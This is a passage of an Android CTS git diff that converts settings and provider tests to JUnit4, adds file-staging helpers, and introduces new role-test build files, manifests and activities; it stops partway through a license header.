- mFileHelper.copyToExternalStorage(R.raw.testthumbvideo, file);
+
+ ProviderTestUtils.stageFile(R.raw.testthumbvideo, file);
ContentValues values = new ContentValues();
values.put(VideoColumns.DATA, file.getAbsolutePath());
diff --git a/tests/tests/provider/src/android/provider/cts/MockFontProvider.java b/tests/tests/provider/src/android/provider/cts/MockFontProvider.java
index 3a64173..e74db44 100644
--- a/tests/tests/provider/src/android/provider/cts/MockFontProvider.java
+++ b/tests/tests/provider/src/android/provider/cts/MockFontProvider.java
@@ -125,8 +125,8 @@
map.put(MULTIPLE_FAMILY_QUERY, new Font[] {
new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 400, 0, Columns.RESULT_CODE_OK, true),
- new Font(id++, SAMPLE_FONT_FILE_1_ID, 0, null, 400, 0, Columns.RESULT_CODE_OK, true),
- new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 700, 1, Columns.RESULT_CODE_OK, true),
+ new Font(id++, SAMPLE_FONT_FILE_1_ID, 0, null, 400, 1, Columns.RESULT_CODE_OK, true),
+ new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 700, 0, Columns.RESULT_CODE_OK, true),
new Font(id++, SAMPLE_FONT_FILE_1_ID, 0, null, 700, 1, Columns.RESULT_CODE_OK, true),
});
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index d775dbf..d3e0af1 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -19,7 +19,11 @@
import static org.junit.Assert.fail;
import android.app.UiAutomation;
+import android.content.Context;
+import android.net.Uri;
import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.support.test.InstrumentationRegistry;
import android.system.ErrnoException;
import android.system.Os;
import android.system.OsConstants;
@@ -27,9 +31,11 @@
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
+import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
+import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Objects;
import java.util.regex.Matcher;
@@ -127,6 +133,38 @@
executeShellCommand("bmgr wipe " + backupTransport + " " + packageName, uiAutomation);
}
+ static String stageInternalFile(int resId, String fileName) throws IOException {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ try (InputStream source = context.getResources().openRawResource(resId);
+ OutputStream target = context.openFileOutput(fileName, Context.MODE_PRIVATE)) {
+ android.os.FileUtils.copy(source, target);
+ }
+ return context.getFileStreamPath(fileName).getAbsolutePath();
+ }
+
+ static void stageFile(int resId, File file) throws IOException {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ try (InputStream source = context.getResources().openRawResource(resId);
+ OutputStream target = new FileOutputStream(file)) {
+ android.os.FileUtils.copy(source, target);
+ }
+ }
+
+ static Uri stageMedia(int resId, Uri collectionUri) throws IOException {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final String displayName = "cts" + System.nanoTime();
+ final MediaStore.PendingParams params = new MediaStore.PendingParams(
+ collectionUri, displayName, "image/png");
+ final Uri pendingUri = MediaStore.createPending(context, params);
+ try (MediaStore.PendingSession session = MediaStore.openPending(context, pendingUri)) {
+ try (InputStream source = context.getResources().openRawResource(resId);
+ OutputStream target = session.openOutputStream()) {
+ android.os.FileUtils.copy(source, target);
+ }
+ return session.publish();
+ }
+ }
+
public static void assertExists(String path) throws ErrnoException {
assertExists(null, path);
}
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsTest.java b/tests/tests/provider/src/android/provider/cts/SettingsTest.java
index 71de3bd..a18a0eb 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsTest.java
@@ -16,8 +16,14 @@
package android.provider.cts;
-import com.android.compatibility.common.util.SystemUtil;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import android.app.Instrumentation;
import android.content.ContentProviderClient;
import android.content.ContentResolver;
import android.content.ContentValues;
@@ -32,13 +38,41 @@
import android.os.Handler;
import android.os.HandlerThread;
import android.os.RemoteException;
+import android.os.SystemClock;
import android.provider.Settings;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-public class SettingsTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SettingsTest {
+ @BeforeClass
+ public static void setUp() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings allow");
+
+ // Wait a beat to persist the change
+ SystemClock.sleep(500);
+ }
+
+ @AfterClass
+ public static void tearDown() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings default");
+ }
+
+ @Test
public void testSystemTable() throws RemoteException {
final String[] SYSTEM_PROJECTION = new String[] {
Settings.System._ID, Settings.System.NAME, Settings.System.VALUE
@@ -46,7 +80,7 @@
final int NAME_INDEX = 1;
final int VALUE_INDEX = 2;
- String name = "name";
+ String name = Settings.System.NEXT_ALARM_FORMATTED;
String insertValue = "value_insert";
String updateValue = "value_update";
@@ -89,16 +123,6 @@
assertEquals(updateValue, cursor.getString(VALUE_INDEX));
cursor.close();
cursor = null;
-
- // Test: delete
- provider.delete(Settings.System.CONTENT_URI,
- Settings.System.NAME + "=\"" + name + "\"", null);
- cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
- Settings.System.NAME + "=\"" + name + "\"", null, null, null);
- assertNotNull(cursor);
- assertEquals(0, cursor.getCount());
- cursor.close();
- cursor = null;
} finally {
if (cursor != null) {
cursor.close();
@@ -106,6 +130,7 @@
}
}
+ @Test
public void testSecureTable() throws Exception {
final String[] SECURE_PROJECTION = new String[] {
Settings.Secure._ID, Settings.Secure.NAME, Settings.Secure.VALUE
@@ -196,6 +221,7 @@
}
}
+ @Test
public void testAccessNonTable() {
tryBadTableAccess("SYSTEM", "system", "install_non_market_apps");
tryBadTableAccess("SECURE", "secure", "install_non_market_apps");
@@ -204,6 +230,7 @@
tryBadTableAccess(" secure ", "secure", "install_non_market_apps");
}
+ @Test
public void testUserDictionarySettingsExists() throws RemoteException {
final Intent intent = new Intent(Settings.ACTION_USER_DICTIONARY_SETTINGS);
final ResolveInfo ri = getContext().getPackageManager().resolveActivity(
@@ -211,6 +238,7 @@
assertTrue(ri != null);
}
+ @Test
public void testNoStaleValueModifiedFromSameProcess() throws Exception {
final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
Settings.System.VIBRATE_WHEN_RINGING);
@@ -229,6 +257,7 @@
}
}
+ @Test
public void testNoStaleValueModifiedFromOtherProcess() throws Exception {
final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
Settings.System.VIBRATE_WHEN_RINGING);
@@ -247,6 +276,7 @@
}
}
+ @Test
public void testNoStaleValueModifiedFromMultipleProcesses() throws Exception {
final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
Settings.System.VIBRATE_WHEN_RINGING);
@@ -270,6 +300,7 @@
}
}
+ @Test
public void testUriChangesUpdatingFromDifferentProcesses() throws Exception {
final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
Settings.System.VIBRATE_WHEN_RINGING);
@@ -312,7 +343,11 @@
}
}
+ private Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
private Context getContext() {
- return getInstrumentation().getContext();
+ return InstrumentationRegistry.getTargetContext();
}
}
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java b/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
index 72923cf..f9ddf7d 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
@@ -16,32 +16,59 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
import android.content.ContentResolver;
import android.database.Cursor;
import android.net.Uri;
+import android.os.SystemClock;
import android.provider.Settings;
import android.provider.Settings.NameValueTable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-public class Settings_NameValueTableTest extends AndroidTestCase {
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_NameValueTableTest {
+ @BeforeClass
+ public static void setUp() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings allow");
+
+ // Wait a beat to persist the change
+ SystemClock.sleep(500);
+ }
+
+ @AfterClass
+ public static void tearDown() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings default");
+ }
+
+ @Test
public void testPutString() {
- ContentResolver cr = mContext.getContentResolver();
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
Uri uri = Settings.System.CONTENT_URI;
- String name = "name1";
+ String name = Settings.System.NEXT_ALARM_FORMATTED;
String value = "value1";
// before putString
Cursor c = cr.query(uri, null, null, null, null);
try {
assertNotNull(c);
- int origCount = c.getCount();
c.close();
MyNameValueTable.putString(cr, uri, name, value);
c = cr.query(uri, null, null, null, null);
assertNotNull(c);
- assertEquals(origCount + 1, c.getCount());
c.close();
// query this row
@@ -50,21 +77,16 @@
assertNotNull(c);
assertEquals(1, c.getCount());
c.moveToFirst();
- assertEquals("name1", c.getString(c.getColumnIndexOrThrow(NameValueTable.NAME)));
- assertEquals("value1", c.getString(c.getColumnIndexOrThrow(NameValueTable.VALUE)));
+ assertEquals(name, c.getString(c.getColumnIndexOrThrow(NameValueTable.NAME)));
+ assertEquals(value, c.getString(c.getColumnIndexOrThrow(NameValueTable.VALUE)));
c.close();
-
- // delete this row
- cr.delete(uri, selection, null);
- c = cr.query(uri, null, null, null, null);
- assertNotNull(c);
- assertEquals(origCount, c.getCount());
} finally {
// TODO should clean up more better
c.close();
}
}
+ @Test
public void testGetUriFor() {
Uri uri = Uri.parse("content://authority/path");
String name = "table";
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
index 7bb5908..042e847 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
@@ -16,6 +16,10 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
import android.content.ContentResolver;
import android.database.Cursor;
@@ -23,9 +27,15 @@
import android.provider.Settings;
import android.provider.Settings.Secure;
import android.provider.Settings.SettingNotFoundException;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-public class Settings_SecureTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SecureTest {
private static final String NO_SUCH_SETTING = "NoSuchSetting";
@@ -37,11 +47,9 @@
private ContentResolver cr;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- cr = mContext.getContentResolver();
+ @Before
+ public void setUp() throws Exception {
+ cr = InstrumentationRegistry.getTargetContext().getContentResolver();
assertNotNull(cr);
assertSettingsForTests();
}
@@ -59,12 +67,14 @@
}
}
+ @Test
public void testGetDefaultValues() {
assertEquals(10, Secure.getInt(cr, "int", 10));
assertEquals(20, Secure.getLong(cr, "long", 20));
assertEquals(30.0f, Secure.getFloat(cr, "float", 30), 0.001);
}
+ @Test
public void testGetPutInt() {
assertNull(Secure.getString(cr, NO_SUCH_SETTING));
@@ -87,6 +97,7 @@
}
}
+ @Test
public void testGetPutFloat() throws SettingNotFoundException {
assertNull(Secure.getString(cr, NO_SUCH_SETTING));
@@ -109,6 +120,7 @@
}
}
+ @Test
public void testGetPutLong() {
assertNull(Secure.getString(cr, NO_SUCH_SETTING));
@@ -131,6 +143,7 @@
}
}
+ @Test
public void testGetPutString() {
assertNull(Secure.getString(cr, NO_SUCH_SETTING));
@@ -145,6 +158,7 @@
assertNull(Secure.getString(cr, NO_SUCH_SETTING));
}
+ @Test
public void testGetUriFor() {
String name = "table";
@@ -153,6 +167,7 @@
assertEquals(Uri.withAppendedPath(Secure.CONTENT_URI, name), uri);
}
+ @Test
public void testUnknownSourcesOnByDefault() throws SettingNotFoundException {
assertEquals("install_non_market_apps is deprecated. Should be set to 1 by default.",
1, Settings.Secure.getInt(cr, Settings.Global.INSTALL_NON_MARKET_APPS));
@@ -165,6 +180,7 @@
* available to non-privileged apps, such as the CTS test app in the context of which this test
* runs.
*/
+ @Test
public void testBluetoothAddressNotAvailable() {
assertNull(Settings.Secure.getString(cr, BLUETOOTH_MAC_ADDRESS_SETTING_NAME));
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
index e187a57..f2e5fd3 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
@@ -16,11 +16,15 @@
package android.provider.cts;
-
import android.provider.Settings.SettingNotFoundException;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
-public class Settings_SettingNotFoundExceptionTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SettingNotFoundExceptionTest {
+ @Test
public void testConstructor() {
new SettingNotFoundException("Setting not found exception.");
new SettingNotFoundException(null);
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
index bbdf714..f325af9 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
@@ -16,86 +16,59 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import android.content.ContentResolver;
import android.content.res.Configuration;
import android.database.Cursor;
import android.net.Uri;
-import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.provider.Settings;
import android.provider.Settings.SettingNotFoundException;
import android.provider.Settings.System;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.util.Scanner;
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
-public class Settings_SystemTest extends InstrumentationTestCase {
- private ContentResolver cr;
+@RunWith(AndroidJUnit4.class)
+public class Settings_SystemTest {
+ private static final String INT_FIELD = Settings.System.SCREEN_BRIGHTNESS;
+ private static final String LONG_FIELD = Settings.System.SCREEN_OFF_TIMEOUT;
+ private static final String FLOAT_FIELD = Settings.System.FONT_SCALE;
+ private static final String STRING_FIELD = Settings.System.NEXT_ALARM_FORMATTED;
- private static final String INT_FIELD = "IntField";
- private static final String LONG_FIELD = "LongField";
- private static final String FLOAT_FIELD = "FloatField";
- private static final String STRING_FIELD = "StringField";
+ @BeforeClass
+ public static void setUp() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings allow");
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- cr = getInstrumentation().getContext().getContentResolver();
- assertNotNull(cr);
+ // Wait a beat to persist the change
+ SystemClock.sleep(500);
}
- private void deleteTestedRows() {
- String selection = System.NAME + "=\"" + INT_FIELD + "\"";
- cr.delete(System.CONTENT_URI, selection, null);
-
- selection = System.NAME + "=\"" + LONG_FIELD + "\"";
- cr.delete(System.CONTENT_URI, selection, null);
-
- selection = System.NAME + "=\"" + FLOAT_FIELD + "\"";
- cr.delete(System.CONTENT_URI, selection, null);
-
- selection = System.NAME + "=\"" + STRING_FIELD + "\"";
- cr.delete(System.CONTENT_URI, selection, null);
+ @AfterClass
+ public static void tearDown() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings default");
}
- private void enableAppOps() {
- StringBuilder cmd = new StringBuilder();
- cmd.append("appops set ");
- cmd.append(getInstrumentation().getContext().getPackageName());
- cmd.append(" android:write_settings allow");
- getInstrumentation().getUiAutomation().executeShellCommand(cmd.toString());
-
- StringBuilder query = new StringBuilder();
- query.append("appops get ");
- query.append(getInstrumentation().getContext().getPackageName());
- query.append(" android:write_settings");
- String queryStr = query.toString();
-
- String result = "No operations.";
- while (result.contains("No operations")) {
- ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation().executeShellCommand(
- queryStr);
- InputStream inputStream = new FileInputStream(pfd.getFileDescriptor());
- result = convertStreamToString(inputStream);
- }
- }
-
- private String convertStreamToString(InputStream is) {
- try (Scanner scanner = new Scanner(is).useDelimiter("\\A")) {
- return scanner.hasNext() ? scanner.next() : "";
- }
- }
-
+ @Test
public void testSystemSettings() throws SettingNotFoundException {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
/**
* first query the exist settings in System table, and then insert five
* rows: an int, a long, a float, a String, and a ShowGTalkServiceStatus.
* Get these six rows to check whether insert succeeded and then delete them.
*/
- // Precondition: these rows must not exist in the db when we begin
- deleteTestedRows();
// first query exist rows
Cursor c = cr.query(System.CONTENT_URI, null, null, null, null);
@@ -107,7 +80,6 @@
try {
assertNotNull(c);
- int origCount = c.getCount();
c.close();
String stringValue = "cts";
@@ -120,7 +92,6 @@
c = cr.query(System.CONTENT_URI, null, null, null, null);
assertNotNull(c);
- assertEquals(origCount + 4, c.getCount());
c.close();
// get these rows to assert
@@ -130,12 +101,8 @@
assertEquals(stringValue, System.getString(cr, STRING_FIELD));
- // delete the tested rows again
- deleteTestedRows();
-
c = cr.query(System.CONTENT_URI, null, null, null, null);
assertNotNull(c);
- assertEquals(origCount, c.getCount());
// update fontScale row
cfg = new Configuration();
@@ -143,7 +110,7 @@
assertTrue(System.putConfiguration(cr, cfg));
System.getConfiguration(cr, cfg);
- assertEquals(1.2f, cfg.fontScale);
+ assertEquals(1.2f, cfg.fontScale, 0.001);
} finally {
// TODO should clean up more better
c.close();
@@ -159,12 +126,16 @@
}
}
+ @Test
public void testGetDefaultValues() {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
assertEquals(10, System.getInt(cr, "int", 10));
assertEquals(20, System.getLong(cr, "long", 20l));
assertEquals(30.0f, System.getFloat(cr, "float", 30.0f), 0.001);
}
+ @Test
public void testGetUriFor() {
String name = "table";
diff --git a/tests/tests/provider/src/android/provider/cts/TestSRSProvider.java b/tests/tests/provider/src/android/provider/cts/TestSRSProvider.java
new file mode 100644
index 0000000..34029ad
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/TestSRSProvider.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class TestSRSProvider extends ContentProvider {
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+}
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
new file mode 100644
index 0000000..40f9673
--- /dev/null
+++ b/tests/tests/role/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsRoleTestCases",
+ sdk_version: "test_current",
+
+ srcs: [
+ "src/**/*.java"
+ ],
+
+ static_libs: [
+ "android-support-test",
+ "compatibility-device-util",
+ "ctstestrunner",
+ "truth-prebuilt"
+ ],
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ]
+}
diff --git a/tests/tests/role/AndroidManifest.xml b/tests/tests/role/AndroidManifest.xml
new file mode 100644
index 0000000..60e53b1
--- /dev/null
+++ b/tests/tests/role/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.app.role.cts">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+ <application>
+
+ <uses-library android:name="android.test.runner" />
+
+ <activity android:name=".WaitForResultActivity" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.app.role.cts"
+ android:label="CTS tests of android.app.role">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
new file mode 100644
index 0000000..8adcbc1
--- /dev/null
+++ b/tests/tests/role/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2018 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<configuration description="Config for CTS role test cases">
+
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsRoleTestCases.apk" />
+ <option name="test-file-name" value="CtsRoleTestApp.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.app.role.cts" />
+ <option name="runtime-hint" value="5m" />
+ </test>
+</configuration>
diff --git a/tests/tests/role/CtsRoleTestApp/Android.bp b/tests/tests/role/CtsRoleTestApp/Android.bp
new file mode 100644
index 0000000..74c1b76
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsRoleTestApp",
+ sdk_version: "test_current",
+
+ srcs: [
+ "src/**/*.java"
+ ],
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ]
+}
diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..a086b26
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2018 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.app.role.cts.app">
+
+ <application>
+
+ <activity
+ android:name=".RequestRoleActivity"
+ android:exported="true" />
+
+ <activity android:name=".EmptyActivity">
+
+ <!-- Dialer -->
+ <intent-filter>
+ <action android:name="android.intent.action.DIAL" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.DIAL" />
+ <data android:scheme="tel" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java
similarity index 61%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java
index 14dbf6b..353ec45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,19 +14,20 @@
* limitations under the License.
*/
-package android.security.cts;
+package android.app.role.cts.app;
-import android.platform.test.annotations.SecurityTest;
+import android.app.Activity;
+import android.os.Bundle;
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
- /**
- * b/28026365
- */
- @SecurityTest(minPatchLevel = "2016-08")
- public void testPocCVE_2016_2504() throws Exception {
- if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
+/**
+ * An empty activity that finishes immediately.
+ */
+public class EmptyActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ finish();
}
- }
}
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/RequestRoleActivity.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/RequestRoleActivity.java
new file mode 100644
index 0000000..46d07a4
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/RequestRoleActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
